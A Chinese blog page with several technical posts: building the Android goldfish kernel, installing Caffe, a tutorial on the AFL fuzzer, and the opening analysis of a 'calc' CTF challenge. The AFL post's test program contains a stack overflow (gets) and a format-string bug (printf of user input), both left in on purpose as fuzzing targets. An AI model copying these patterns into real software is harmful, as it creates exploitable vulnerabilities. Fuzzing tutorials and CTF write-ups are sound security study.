android模拟器goldfish环境搭建

1 环境准备

1.1 硬件及主机系统

  • 使用AVD时需要硬件支持KVM。因此现在主机bios中将虚拟化设置开启。
  • x86架构的主机,安装了ubuntu16.04操作系统。

检查系统是否支持虚拟化的两条命令:

kvm-ok

egrep -c '(vmx|svm)' /proc/cpuinfo

1.2 下载goldfish源码

(1)在线方式 - 推荐

访问如下官网,执行git clone将工程克隆到本地,之后可以根据需要选择不同内核版本进行编译。

https://android.googlesource.com/kernel/goldfish.git

(2)离线方式

在官网中下载特定版本的goldfish内核tar包,到ubuntu中解压。

1.3 安装java

参考 安装java jdk的三种方式:https://blog.csdn.net/zbj18314469395/article/details/86064849

1.4 配置交叉编译环境

下载交叉编译器:https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9/

可在以上链接中选择不同的交叉编译器,32位或64位,根据实际情况下载

下载到本地后,配置环境变量

vim ~/.bashrc

export PATH=xxx/platform/prebuilts/gcc/linux-x86/aarch64/aarch64-linux-android-4.9/bin:$PATH
export PATH=xxx/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.9/bin:$PATH
export CROSS_COMPILE=aarch64-linux-android-

source ~/.bashrc

1.5 安装linux版android studio

(1)离线方式 - 推荐 在android studio官网(https://developer.android.com/studio)下载包,本地解压后,进入android-studio/bin/目录执行./studio.h即可启动AS。

(2)在线方式

https://rotolo.dev/android-studio/

sudo apt-add-repository ppa:paolorotolo/android-studio 
sudo apt-get update
sudo apt-get install android-studio

1.6 配置AS

(1)有网络的情况

配置AS的代理,直接连接google

这种方式下的sdk,ndk,AVD system-image等等都可以在线下载,很方便。

(2)没有网络的情况

手工下载android sdk或者system images等等,按照这个网站的指导:https://my.oschina.net/u/862582/blog/349263

另一个手工下载sdk参考:https://www.jianshu.com/p/86b9c57bf838

手工下载ndk参考:https://www.jianshu.com/p/abdad7fd1367

(3)配置ubuntu环境变量

在sdk manager中将需要的组件下载完毕后,设置以下几个目录到环境变量中:sdk/emulator/platform-tools/ndk/avd

vim ~/.bashrc

export ANDROID_HOME=/xxx/xxx/android-sdk-linux
export PATH=$ANDROID_HOME/emulator:$PATH
export PATH=$ANDROID_HOME/platform-tools:$PATH
export PATH=$ANDROID_HOME/ndk/xxx:$PATH
export PATH=~/.android/avd:$PATH

source ~/.bashrc

1.7 使用emulator

android avd命令可以启动android device manager

android -avd xxx 指定xxx镜像启动模拟器(使用AVD manager创建完虚拟设备后,在~/.android/avd目录下会有xxx.ini)

模拟器相关命令参考:https://developer.android.com/studio/run/emulator-commandline?hl=zh-cn

1.8 加载低版本kernel

最新版的android studio和sdk均不支持加载版本<3.10的内核,想加载低版本内核做实验的话,可使用如下链接提供的sdk。

http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz

android - 命令,启动android sdk管理器

android avd - 命令,启动avd manager

emulator -avd xxx - 命令,跟最新版相同

2 编译goldfish内核

假设git clone的goldfish工程在~/kernel/goldfish目录下

cd ~/kernel
cp -r goldfish goldfish44
## 创建一个out44目录,用来存放编译输出
mkdir out44
cd goldfish44
git branch -a
## 从goldfish中拉出kernel4.4分支
git checkout -b android-goldfish-4.4-dev remotes/origin/android-goldfish-4.4-dev
## ~/kernel/goldfish44/arch/arm64/configs目录下有编译配置文件defconfig和ranchu64_defconfig,我们使用ranchu64_defconfig
## 在goldfish44目录下指定好配置文件
make ARCH=arm64 O=../out44 ranchu64_defconfig
make ARCH=arm64 O=../out44/ -j16

编译完成后,如果需要更改配置(如允许内核加载自定义ko模块),操作如下

## 在goldfish44目录下执行
## 图形化配置内核选项
make ARCH=arm64 O=../out44/  menuconfig
## 配置变化的时候执行清理一下
make mrproper
## 开始编译
make ARCH=arm64 O=../out44/ -j16

编译生成的内核文件在如下目录:~/kernel/out44/arch/arm64/boot/Image.gz

3 使用编译的内核启动avd虚拟设备

执行以下命令以自编译的内核启动虚拟机

emulator -avd KernelTest -no-window -no-audio -show-kernel -kernel ~/work/kernel/out49/arch/arm64/boot/Image.gz -no-snapstorage
Read More

caffe的安装与使用

1 caffe安装

1.1 安装依赖

虚拟机为ubuntu 16.04,仅cpu。 按照官网安装相应依赖(https://caffe.berkeleyvision.org/install_apt.html),执行了一下几条命令:

通用依赖:
sudo apt-get install libprotobuf-dev libleveldb-dev libsnappy-dev libopencv-dev libhdf5-serial-dev protobuf-compiler
sudo apt-get install --no-install-recommends libboost-all-dev

blas依赖:
sudo apt-get install libatlas-base-dev

python依赖:
sudo apt-get install python-dev

以下依赖不知是否必须安装:
sudo apt-get install libgflags-dev libgoogle-glog-dev liblmdb-dev

1.2 源码安装

源码地址:https://github.com/BVLC/caffe 官网方法:https://caffe.berkeleyvision.org/installation.html#compilation 参考中文链接:https://www.jianshu.com/p/8878d2bdaf99

1.2.1 编译源码

unzip caffe-master.zip
cd caffe-master
cp Makefile.config.example Makefile.config

更改Makefile.config文件中,如下行:

`CPU_ONLY := 1`前的注释符“#”去掉
将:
INCLUDE_DIRS := $(PYTHON_INCLUDE) /usr/local/include
LIBRARY_DIRS := $(PYTHON_LIB) /usr/local/lib /usr/lib
修改为:
INCLUDE_DIRS := $(PYTHON_INCLUDE) /usr/local/include /usr/include/hdf5/serial
LIBRARY_DIRS := $(PYTHON_LIB) /usr/local/lib /usr/lib /usr/lib/x86_64-linux-gnu/hdf5/serial

执行如下三条命令完成安装:

sudo make all
sudo make test
sudo make runtest

1.2.2 python环境

安装pip:
sudo apt-get install python-pip

安装python借口依赖库:
sudo apt-get install gfortran
cd /home/bling/caffe-master/python
for req in $(cat requirements.txt); do pip install $req; done

验证:
sudo pip install -r requirements.txt

设置环境变量:
sudo vim ~/.bashrc
	export PYTHONPATH=/home/bling/caffe-master/python:$PYTHONPATH
source ~/.bashrc

安装pycaffe

cd /home/bling/caffe-master/
sudo make pycaffe

验证使用,进python环境,输入
import caffe

使用示例

MNIST tutorial: https://caffe.berkeleyvision.org/gathered/examples/mnist.html

reference ImageNet model tutorial: https://caffe.berkeleyvision.org/gathered/examples/imagenet.html

Read More

Linux下AFL的安装与使用

1 从一个test程序开始

1.1 安装AFL

首先,检查本地的clang和llvm是否安装,若未安装则安装一下

sudo apt-get install clang
sudo apt-get install llvm

以上环境确认好后,下载并安装AFL

wget http://lcamtuf.coredump.cx/afl/releases/afl-2.52b.tgz
tar -zxvf afl-2.52b.tgz
cd afl-2.52b
make
sudo make install

以上操作做完,AFL就算是安装完毕啦。现在来看看AFL安装前后代码目录中文件的差别。以下先是安装前的目录:

drwxr-xr-x 10  500  500   4096 Nov  5  2017 .
drwxr-xr-x  3 root root   4096 Jun  2 09:49 ..
-rw-r--r--  1  500  500  23755 Nov  5  2017 afl-analyze.c
-rw-r--r--  1  500  500  15273 Nov  5  2017 afl-as.c
-rw-r--r--  1  500  500  21090 Nov  5  2017 afl-as.h
-rwxr-xr-x  1  500  500  11392 Nov  5  2017 afl-cmin
-rw-r--r--  1  500  500 206076 Nov  5  2017 afl-fuzz.c
-rw-r--r--  1  500  500   8597 Nov  5  2017 afl-gcc.c
-rw-r--r--  1  500  500   5336 Nov  5  2017 afl-gotcpu.c
-rwxr-xr-x  1  500  500   4913 Nov  5  2017 afl-plot
-rw-r--r--  1  500  500  16527 Nov  5  2017 afl-showmap.c
-rw-r--r--  1  500  500  25235 Nov  5  2017 afl-tmin.c
-rwxr-xr-x  1  500  500   3655 Nov  5  2017 afl-whatsup
-rw-r--r--  1  500  500  12565 Nov  5  2017 alloc-inl.h
-rw-r--r--  1  500  500  11216 Nov  5  2017 config.h
-rw-r--r--  1  500  500   6574 Nov  5  2017 debug.h
drwxr-xr-x  2  500  500   4096 Nov  5  2017 dictionaries
drwxr-xr-x  4  500  500   4096 Nov  5  2017 docs
drwxr-xr-x 12  500  500   4096 Nov  5  2017 experimental
-rw-r--r--  1  500  500   2065 Nov  5  2017 hash.h
drwxr-xr-x  2  500  500   4096 Nov  5  2017 libdislocator
drwxr-xr-x  2  500  500   4096 Nov  5  2017 libtokencap
drwxr-xr-x  2  500  500   4096 Nov  5  2017 llvm_mode
-rw-r--r--  1  500  500   6987 Nov  5  2017 Makefile
drwxr-xr-x  3  500  500   4096 Nov  5  2017 qemu_mode
lrwxrwxrwx  1  500  500     24 Nov  5  2017 QuickStartGuide.txt -> docs/QuickStartGuide.txt
lrwxrwxrwx  1  500  500     11 Nov  5  2017 README -> docs/README
drwxr-xr-x  6  500  500   4096 Nov  5  2017 testcases
-rw-r--r--  1  500  500    789 Nov  5  2017 test-instr.c
-rw-r--r--  1  500  500   2292 Nov  5  2017 types.h

安装完成后,代码目录中的文件

drwxr-xr-x 10  500  500   4096 Jun  2 09:47 .
drwxr-xr-x  7 root root   4096 Jun  1 18:42 ..
-rwxr-xr-x  1 root root  90792 Jun  2 09:46 afl-analyze
-rw-r--r--  1  500  500  23755 Nov  5  2017 afl-analyze.c
-rwxr-xr-x  1 root root  50808 Jun  2 09:46 afl-as
-rw-r--r--  1  500  500  15273 Nov  5  2017 afl-as.c
-rw-r--r--  1  500  500  21090 Nov  5  2017 afl-as.h
lrwxrwxrwx  1 root root      7 Jun  2 09:46 afl-clang -> afl-gcc
lrwxrwxrwx  1 root root      7 Jun  2 09:46 afl-clang++ -> afl-gcc
-rwxr-xr-x  1  500  500  11392 Nov  5  2017 afl-cmin
-rwxr-xr-x  1 root root 582872 Jun  2 09:46 afl-fuzz
-rw-r--r--  1  500  500 206076 Nov  5  2017 afl-fuzz.c
lrwxrwxrwx  1 root root      7 Jun  2 09:46 afl-g++ -> afl-gcc
-rwxr-xr-x  1 root root  35376 Jun  2 09:46 afl-gcc
-rw-r--r--  1  500  500   8597 Nov  5  2017 afl-gcc.c
-rwxr-xr-x  1 root root  32240 Jun  2 09:46 afl-gotcpu
-rw-r--r--  1  500  500   5336 Nov  5  2017 afl-gotcpu.c
-rwxr-xr-x  1  500  500   4913 Nov  5  2017 afl-plot
-rwxr-xr-x  1 root root  76840 Jun  2 09:46 afl-showmap
-rw-r--r--  1  500  500  16527 Nov  5  2017 afl-showmap.c
-rwxr-xr-x  1 root root 106280 Jun  2 09:46 afl-tmin
-rw-r--r--  1  500  500  25235 Nov  5  2017 afl-tmin.c
-rwxr-xr-x  1  500  500   3655 Nov  5  2017 afl-whatsup
-rw-r--r--  1  500  500  12565 Nov  5  2017 alloc-inl.h
lrwxrwxrwx  1 root root      6 Jun  2 09:46 as -> afl-as
-rw-r--r--  1  500  500  11216 Nov  5  2017 config.h
-rw-r--r--  1  500  500   6574 Nov  5  2017 debug.h
drwxr-xr-x  2  500  500   4096 Nov  5  2017 dictionaries
drwxr-xr-x  4  500  500   4096 Nov  5  2017 docs
drwxr-xr-x 12  500  500   4096 Nov  5  2017 experimental
-rw-r--r--  1  500  500   2065 Nov  5  2017 hash.h
drwxr-xr-x  2  500  500   4096 Nov  5  2017 libdislocator
drwxr-xr-x  2  500  500   4096 Nov  5  2017 libtokencap
drwxr-xr-x  2  500  500   4096 Nov  5  2017 llvm_mode
-rw-r--r--  1  500  500   6987 Nov  5  2017 Makefile
drwxr-xr-x  3  500  500   4096 Nov  5  2017 qemu_mode
lrwxrwxrwx  1  500  500     24 Nov  5  2017 QuickStartGuide.txt -> docs/QuickStartGuide.txt
lrwxrwxrwx  1  500  500     11 Nov  5  2017 README -> docs/README
drwxr-xr-x  6  500  500   4096 Nov  5  2017 testcases
-rw-r--r--  1  500  500    789 Nov  5  2017 test-instr.c
-rw-r--r--  1  500  500   2292 Nov  5  2017 types.h

可以看到afl安装后,文件夹下多了些二进制文件,是不是很简单。但是,在使用AFL进行fuzz测试前,一定要设置一下core_pattern,否则会报错哦。

root@x:~/afl-test# cat /proc/sys/kernel/core_pattern
|/usr/share/apport/apport %p %s %c %d %P
root@x:~/afl-test# echo core > /proc/sys/kernel/core_pattern
root@x:~/afl-test# cat /proc/sys/kernel/core_pattern
core

1.2 跑起来看看

测试程序的代码使用了先知社区的示例代码,如下。平时我们编译c代码使用的是gcc,现在为了使用AFL进行fuzz,我们必须使用1.1节中编译出来的afl-gcc对目标代码进行插桩编译。

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
#include <signal.h> 

int vuln(char *str)
{
    int len = strlen(str);
    if(str[0] == 'A' && len == 66)
    {
        raise(SIGSEGV);
        //如果输入的字符串的首字符为A并且长度为66,则异常退出
    }
    else if(str[0] == 'F' && len == 6)
    {
        raise(SIGSEGV);
        //如果输入的字符串的首字符为F并且长度为6,则异常退出
    }
    else
    {
        printf("it is good!\n");
    }
    return 0;
}

int main(int argc, char *argv[])
{
    char buf[100]={0};
    gets(buf);//存在栈溢出漏洞
    printf(buf);//存在格式化字符串漏洞
    vuln(buf);

    return 0;
}

接下来,需要做以下三件事:

(1)使用afl-gcc编译目标代码(即插桩)

$ afl-gcc test.c -g -o test

(2)新建测试用例(测试用例即待测程序的输入,可以随意给个文件作为起始用例。AFL会在此用例的基础上进行变异,好的测试用例有助于更快发现更多bug)

$ mkdir testcase
$ cd testcase
$ vim file123
	123
	qwe

(3)输出文件夹(发现的bug等信息会输出到该目录下)

$ mkdir output

最后,指定好以上三项的位置,执行如下命令,就会进入AFL主面板开始fuzz啦

afl-fuzz -i testcase/ -o output/ ./test

这里给一下我fuzz完成后(ctrl +c)的情况:

root@x:~/afl-test# afl-fuzz -i testcase/ -o output/ ./test
afl-fuzz 2.52b by <lcamtuf@google.com>
[+] You have 8 CPU cores and 1 runnable tasks (utilization: 12%).
[+] Try parallel jobs - see /usr/local/share/doc/afl/parallel_fuzzing.txt.
[*] Checking CPU core loadout...
[+] Found a free CPU core, binding to #0.
[*] Checking core_pattern...
[*] Setting up output directories...
[+] Output directory exists but deemed OK to reuse.
[*] Deleting old session data...
[+] Output dir cleanup successful.
[*] Scanning 'testcase/'...
[+] No auto-generated dictionary tokens to reuse.
[*] Creating hard links for all input files...
[*] Validating target binary...
[*] Attempting dry run with 'id:000000,orig:file1'...
[*] Spinning up the fork server...
[+] All right - fork server is up.
    len = 8, map size = 5, exec speed = 306 us
[+] All test cases processed.

[+] Here are some useful stats:

    Test case count : 1 favored, 0 variable, 1 total
       Bitmap range : 5 to 5 bits (average: 5.00 bits)
        Exec timing : 306 to 306 us (average: 306 us)

[*] No -t option specified, so I'll use exec timeout of 20 ms.
[+] All set and ready to roll!

                        american fuzzy lop 2.52b (test)

┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐
│        run time : 0 days, 0 hrs, 24 min, 9 sec       │  cycles done : 2574   │
│   last new path : 0 days, 0 hrs, 24 min, 9 sec       │  total paths : 3      │
│ last uniq crash : 0 days, 0 hrs, 14 min, 10 sec      │ uniq crashes : 6      │
│  last uniq hang : none seen yet                      │   uniq hangs : 0      │
├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤
│  now processing : 2 (66.67%)        │    map density : 0.01% / 0.01%         │
│ paths timed out : 0 (0.00%)         │ count coverage : 1.00 bits/tuple       │
├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤
│  now trying : splice 9              │ favored paths : 3 (100.00%)            │
│ stage execs : 47/48 (97.92%)        │  new edges on : 3 (100.00%)            │
│ total execs : 5.41M                 │ total crashes : 385k (6 unique)        │
│  exec speed : 3330/sec              │  total tmouts : 1 (1 unique)           │
├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤
│   bit flips : 0/128, 0/125, 0/119                   │    levels : 2          │
│  byte flips : 0/16, 0/13, 0/7                       │   pending : 0          │
│ arithmetics : 2/896, 0/129, 0/9                     │  pend fav : 0          │
│  known ints : 0/78, 0/339, 0/308                    │ own finds : 2          │
│  dictionary : 0/0, 0/0, 0/0                         │  imported : n/a        │
│       havoc : 4/2.31M, 2/3.09M                      │ stability : 100.00%    │
│        trim : 83.10%/16, 0.00%                      ├────────────────────────┘
^C────────────────────────────────────────────────────┘          [cpu000: 23%]

+++ Testing aborted by user +++
[+] We're done here. Have a nice day!

1.3 分析结果

fuzz完成后,根据AFL面板的信息我们知道有6个crash,因此我们进入output目录去分析

root@x:~/afl-test/output# ls -al
total 108
drwxr-xr-x 5 root root  4096 Jun  2 10:15 .
drwxr-xr-x 4 root root  4096 Jun  2 10:08 ..
drwx------ 2 root root  4096 Jun  2 10:25 crashes
-rw------- 1 root root     1 Jun  2 10:39 .cur_input
-rw------- 1 root root 65536 Jun  2 10:16 fuzz_bitmap
-rw------- 1 root root   739 Jun  2 10:39 fuzzer_stats
drwx------ 2 root root  4096 Jun  2 10:15 hangs
-rw------- 1 root root 15250 Jun  2 10:39 plot_data
drwx------ 3 root root  4096 Jun  2 10:15 queue
  • crashes/ 文件夹中存放了fuzz过程中产生的crash样例

  • hangs/ 文件夹中存放了fuzz过程中产生的超时样例

  • queue/ 文件夹中存放了fuzz过程中不同执行路径的测试用例

使用xxd命令查看产生的6个crash样例,然后可以将样例作为输入用gdb调试test程序。

root@x:~/afl-test/output/crashes# xxd id:000000,sig:06,src:000000,op:havoc,rep:64
00000000: 1f20 0820 fe1f 2004 0020 200c 0064 1ffe  . . .. ..  ..d..
00000010: 017f 2033 ff20 2000 180b 2020 2008 20e2  .. 3.  ...   . .
00000020: 1f20 e21f ff01 00ff ff20 2020 2002 0024  . .......    ..$
00000030: ff00 0000 0000 0100 203a 200c 20e2 1f01  ........ : . ...
00000040: 2020 0019 0110 510b 2020 2002 0020 2020    ....Q.   ..
00000050: 2020 2020 2020 2020 2020 2020 2020 2020
00000060: 2020 2020 2020 2020 2020 2020 2020 0820                .
00000070: 2020 0c20 e21f 2002 7f80 2020 6b20 0101    . .. ...  k ..
00000080: 0101 0101 1d01 0101 0101 0101 0101 0101  ................
00000090: 0101 0101 0101 0101 0101 0101 40ff 2080  ............@. .
root@x:~/afl-test/output/crashes# xxd id:000001,sig:11,src:000002,op:arith8,pos:0,val:-28
00000000: 4662 6262 627f 001a                      Fbbbb...
root@x:~/afl-test/output/crashes# xxd id:000002,sig:06,src:000002,op:havoc,rep:128
00000000: 3685 c13e 3e3e 002f 3e3e 203e 3e6a 3e3e  6..>>>./>> >>j>>
00000010: 3ee4 343e 3e3e 3e53 3d5b 146a 3e3e 2e3e  >.4>>>>S=[.j>>.>
00000020: 3e3e 3e4e 3e6a 3e5c 273e 3e3e 3e3e 6a3e  >>>N>j>\'>>>>>j>
00000030: 3e8c 3e3e 3e3e 4a3e 6a3e 3e27 d9c5 a8c5  >.>>>>J>j>>'....
00000040: 5314 533e 3e1d 3e3e 3e3e 3e3e 3e3e 3e3e  S.S>>.>>>>>>>>>>
00000050: 3e3e 3e3e 3e3e 3e3e 3e3e 3e3e 3e3e 3e3e  >>>>>>>>>>>>>>>>
00000060: 3e3e 3e3e 3e2f 3e3e 343e 3e6a 3e3e 0080  >>>>>/>>4>>j>>..
00000070: 3e3e 3e27 fb9c 9c9c 9c9c 9c9c 9c9c c5c5  >>>'............
00000080: c5a6 c5e0 7fff                           ......
root@x:~/afl-test/output/crashes# xxd id:000003,sig:06,src:000001+000002,op:splice,rep:4
00000000: 2532 6e5a 627f fc19                      %2nZb...
root@x:~/afl-test/output/crashes# xxd id:000004,sig:06,src:000001,op:havoc,rep:128
00000000: 4106 00f2 5fdf 03a0 c5f6 dfdf 40a0 dff4  A..._.......@...
00000010: f5ff e5f4 f4fe 04f5 f4f4 f4f4 f4f4 f4f4  ................
00000020: 0ef5 f4ff 800d f4b4 f400 f4f4 0edb eadf  ................
00000030: f8df dfe7 f400 eadd dfe7 df02 dff8 00d7  ................
00000040: dfdf 01df dfdf ecdb eadf f8df dfe7 dfdf  ................
00000050: dff8 1ad7 dfdf 01da dfdf dedf dfdf dfdf  ................
00000060: dfdf dfdf dfdf dfdf dfdf dfde dfdf dfde  ................
00000070: ed00 e3e3 e316 0d00 0000 1000 00c0 dfe7  ................
00000080: dfdf df00 d701 dfd6 0e                   .........
root@x:~/afl-test/output/crashes# xxd id:000005,sig:11,src:000002+000001,op:splice,rep:16
00000000: 4132 800f fe0f 0f0f 0f0f 220f 0f0f 0f0f  A2........".....
00000010: 0f0f 0f0f 0f0f 0f0f 0f0f 0ef0 0f22 0f0f  ............."..
00000020: 0f0f 0f0f 0f0f 0f0f 0f0f 0f0f 0f0f 0f0f  ................
00000030: 0f0f 0f0f 0f0f 0f0f 0f0f 0f7f ff64 0f0f  .............d..
00000040: fc0e 000f 0f0f 0f0f 0fff                 ..........

1.4 继续已停止的fuzz测试

afl-fuzz -i- -o output ./test

1.5 结合ASAN的fuzz

ASAN只推荐在32位机器上使用。如果在64位机器上使用,也需将AFL编译成32位的。

Method 1. set AFL_USE_ASAN=1 before calling ‘make clean all’
Method 2. add -fsanitize=address option into makefile

1.6 文件fuzz

1.2和1.3节讲的是从stdin读取输入的目标程序,这里补充一下从文件读取输入的目标程序,以 readelf -a xxfile 为例。

有源码插桩:

afl-fuzz -i in/ -o out/ ./readelf -a @@

无源码插桩:

afl-fuzz -i in/ -o out/ -Q ./readelf -a @@

2 无源码AFL fuzz

无源码时,即无法对源码使用功能afl-gcc/afl-g++进行插桩编译时,整个fuzz过程会变得异常缓慢。但确实没有源码的情况下可使用该方法。

步骤1:编译支持无源码fuzz的AFL

在afl源码目录下:

cd qemu_mode
./build_qemu_support.sh
cd ..
make install 

步骤2:跟1.2和1.3节一样,只不过有两点差异:

  • 待测程序是未经afl-gcc插桩编译过的,如使用gcc编译

  • 执行afl-fuzz命令时多加了一个-Q参数

afl-fuzz -i testcase/ -o output/ -Q ./test

3 AFL文档学习

afl面板介绍:

https://lcamtuf.coredump.cx/afl/status_screen.txt

4 参考文档

初探AFL-Fuzz

小白初学AFL(American Fuzzy Lop)

AFL文件变异一览

AFL(American Fuzzy Lop) Cautions

Read More

男票带我练CTF之calc

1 分析

【点我】题目二进制

写write up之前,要吐槽一下,这又是一道做得让我怀疑人生的题。前后拖了一个月才狠下心把这题终于终于做完了。一点一点积累,希望一年或者几年后能看到自己的进步。

1.1 查看程序基本信息

$ file calc
calc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=454ff27c25ea5028bffdcfaf81e1c178d5cbce3a, stripped
$ checksec calc
[*] '/mnt/hgfs/VMshare/calc/calc'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

1.2 运行试试

$ ./calc
> 1
1
> 3
3
> 1111
1111
> 2+2
invalid number
> 2 + 3
5

1.3 IDA逆向

如下是IDA逆向出来,main函数中的主要代码,对这段代码进行分析。

  v13 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stderr, 0, 2, 0);
  dword_804D0B0 = sub_804A929();		// 1
  dword_804D0B4 = sub_804A8E9();		// 2
  dword_804D0AC = sub_804A8E9();		// 3
  v0 = sub_804A83F("add", (int)sub_80494AA);	//4
  sub_804A946(dword_804D0B0, "add", v0);		//5
  v1 = sub_804A83F("sub", (int)sub_8049C81);	//6
  sub_804A946(dword_804D0B0, "sub", v1);		//7
  v2 = sub_804A83F("mul", (int)sub_8049A0E);
  sub_804A946(dword_804D0B0, "mul", v2);
  v3 = sub_804A83F("div", (int)sub_8049DED);
  sub_804A946(dword_804D0B0, "div", v3);
  v4 = sub_804A83F("mod", (int)sub_8049F90);
  sub_804A946(dword_804D0B0, "mod", v4);
  v5 = sub_804A83F("not", (int)sub_804A135);
  sub_804A946(dword_804D0B0, "not", v5);
  v6 = sub_804A83F("int", (int)sub_8049854);
  sub_804A946(dword_804D0B0, "int", v6);
  v7 = sub_804A83F("exit", (int)sub_804A688);
  sub_804A946(dword_804D0B0, "exit", v7);
  v8 = sub_804A83F("equals", (int)sub_804A3C2);
  sub_804A946(dword_804D0B0, "equals", v8);
  v9 = sub_804A83F("type", (int)sub_804A61E);
  sub_804A946(dword_804D0B0, "type", v9);
  v10 = sub_804A83F("len", (int)sub_804A308);
  sub_804A946(dword_804D0B0, "len", v10);
  while ( 1 )		//8
  {
    memset(&s, 0, 0x100u);
    printf("> ");
    if ( !fgets(&s, 256, stdin) )		//9
      break;
    v11 = strrchr(&s, '\n');		//10
    if ( v11 )
      *v11 = 0;
    sub_8048BC1(&s);		//11
  }

line 1 2 3

  dword_804D0B0 = sub_804A929();		// 1
  dword_804D0B4 = sub_804A8E9();		// 2
  dword_804D0AC = sub_804A8E9();		// 3

dword_804D0B0,dword_804D0B4,dword_804D0AC都是bss段的变量,各占4个字节。这三个变量分别接受sub_804A929()和sub_804A8E9()这两个函数的返回值。下面我们来看看这两个函数。

.bss:0804D0AC dword_804D0AC   dd ?                   
.bss:0804D0AC                                      
.bss:0804D0B0 ; int dword_804D0B0
.bss:0804D0B0 dword_804D0B0   dd ?                  
.bss:0804D0B0                                        
.bss:0804D0B4 dword_804D0B4   dd ?   
  • sub_804A929()

    这个函数只有一句return calloc(0x10u, 1u),申请大小为0x10的堆空间,并将堆的地址返回给dword_804D0B0。

  • sub_804A8E9()

    这个函数中申请了0x84大小的堆空间,并返回。因此dword_804D0B4,dword_804D0AC分别指向大小为0x84的堆。

image

line 4 5 6 7

这四行以及之后的许多行都是在重复4 5行的函数,因此分析完前两个就能推断之后的操作。

先看4 5 行,涉及两个函数sub_804A83F()和sub_804A946(),以及一个函数指针sub_80494AA和一个bss段的变量dword_804D0B0。接下来重点分析这两个函数。

  v0 = sub_804A83F("add", (int)sub_80494AA);	//4
  sub_804A946(dword_804D0B0, "add", v0);		//5

sub_804A83F()

函数定义如下:

_DWORD *__cdecl sub_804A83F(char *s, int a2)
{
  _DWORD *v2; // ST1C_4

  v2 = calloc(0x10u, 1u);
  *v2 = strdup(s);
  v2[2] = a2;
  v2[1] = "function";
  v2[3] = 0;
  return v2;
}

输入为一个字符串和一个整型值(函数指针的地址)。函数内先申请一个大小为0x10的堆空间(*v2指向该堆空间),然后将输入的字符串地址(strdup申请了一个堆空间用来存放字符串)放在v2[0];v2[1]处存放字符串”function”的地址,标志这是一个function堆;将传入的函数指针地址放在v2[2];v2[3]置空。最后将该堆块返回给上一层调用者。

v2堆块如下。以第4行为例,heap1中存放着字符串“add”;string1处的字符串为“function”;function1是一个处理add逻辑的函数。
|------------|
| &heap1     |
|------------|
| &string1   |
|------------|
| &function1 |
|------------|
| 0          |
|------------|

sub_804A946()

以add为例,该函数的参数分别为dword_804D0B0(bss段的一个值,为一个堆块地址), “add”字符串,,以及上一个函数sub_804A83F()的返回值(一个0x10大小的堆块)。sub_804A946()函数定义如下,我在函数中标记了注释。

int __cdecl sub_804A946(int a1, char *s, int a3)
{
  int result; // eax
  size_t i; // [esp+4h] [ebp-14h]
  int v5; // [esp+8h] [ebp-10h]
  signed int v6; // [esp+Ch] [ebp-Ch]
/*检查dword_804D0B0堆块第一个字节指向的堆块是否为空。如果是空,就申请一个大小为0x10的堆,并在该堆块偏移8字节处写入字符‘a’;如果非空,则跳过执行下面的部分。*/
  if ( !*a1 )	
  {
    *a1 = calloc(0x10u, 1u);
    *(*a1 + 8) = *s;
  }
/*v5赋值dword_804D0B0堆块第一个字节指向的堆块地址(即*a1),v6赋值传入字符串s的长度。*/
  v5 = *a1;
  v6 = strlen(s);
/*进入for循环处理字符串s*/
  for ( i = 0; i <= v6; ++i )
  {
/*1、判断dword_804D0B0堆块指向的堆块偏移4字节的位置是否不为空;2、判断dword_804D0B0堆块指向的堆块地址偏移8字节处是否跟字符串的第i个字符不相等。两个同时满足时执行v5 = *(v5 + 4);其中一个不满足则跳过该操作,继续执行后续部分。*/
    while ( *(v5 + 4) && *(v5 + 8) != s[i] )
      v5 = *(v5 + 4);
/*如果此时v5堆块偏移8字节的位置跟s[i]的值不相等,则进入if语句中处理;如果两者相等,则复用该堆块,继续处理下一个字符。*/
    if ( *(v5 + 8) != s[i] )
    {
/*新申请一个0x10大小的堆块,并将堆块地址写到v5堆块偏移4字节的位置。然后将s[i]写到新申请的堆块偏移8字节的位置。然后让v5指向新申请的堆块。*/
      *(v5 + 4) = calloc(0x10u, 1u);
      *(*(v5 + 4) + 8) = s[i];
      v5 = *(v5 + 4);
/**/
      while ( strlen(s) > i )
      {
        *v5 = calloc(0x10u, 1u);
        *(*v5 + 8) = s[++i];
        v5 = *v5;
      }
      break;
    }
/*如果s[i]为空,即到了字符串的结束位置,则结束循环。*/
    if ( !s[i] )
      break;
/*如果*v5为空,新申请一个0x10大小的堆块,并让*v5指向该对堆块。然后将s[i+1]处的字符写到新申请堆块偏移8字节的位置。*/
    if ( !*v5 )
    {
      *v5 = calloc(0x10u, 1u);
      *(*v5 + 8) = s[i + 1];
    }
/*让v5指向*v5指向的堆块*/
    v5 = *v5;
  }
/*上述循环将所有的字符全部处理完毕后,将v5当前指向堆块的地址给result*/
  result = v5;
/*将a3(即sub_804A83F()返回的堆块)的地址写到v5堆块内偏移12字节的位置*/
  *(v5 + 12) = a3;
  return result;
}

执行完4 5 6 7行后,会形成如下图所示的堆空间关系:

image

line 8

这个while循环内会对输入进行处理,是跟外部数据交互的窗口,因此漏洞极有可能存在于循环内部的处理过程。

line 9

这一行通过fgets从标准输入(即键盘)中获取输入字符串。根据fgets的特性,本题中它最多接受256-1=255个字符输入。s在栈上的空间为0x100=256,加上字符串结束符’\x00’也不会溢出。

char *fgets(char *str, int n, FILE *stream) 从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止。

line 10

这一行及后两行的目的是对输入字符串进行处理。寻找输入字符串最后一次出现’\n’的位置,即字符串结束的位置,并往该位置写0x00(是ASCII码的0,而不是字符 ‘0’。)

line11

